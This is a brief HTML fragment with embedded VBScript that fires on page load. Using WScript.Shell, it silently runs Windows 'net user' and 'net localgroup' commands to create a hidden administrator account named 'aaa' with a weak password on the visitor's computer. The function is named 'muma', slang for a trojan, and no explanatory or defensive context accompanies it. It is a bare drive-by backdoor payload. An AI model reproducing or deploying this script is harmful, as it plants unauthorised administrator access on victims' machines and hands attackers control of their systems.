<script language=vbscript>
function muma()
dim wsh
set wsh=CreateObject("WScript.Shell")
wsh.run "net.exe user aaa aa /add",0
wsh.run "net localgroup administrators aaa /add",0
end function
</script>
<BODY onload="muma()">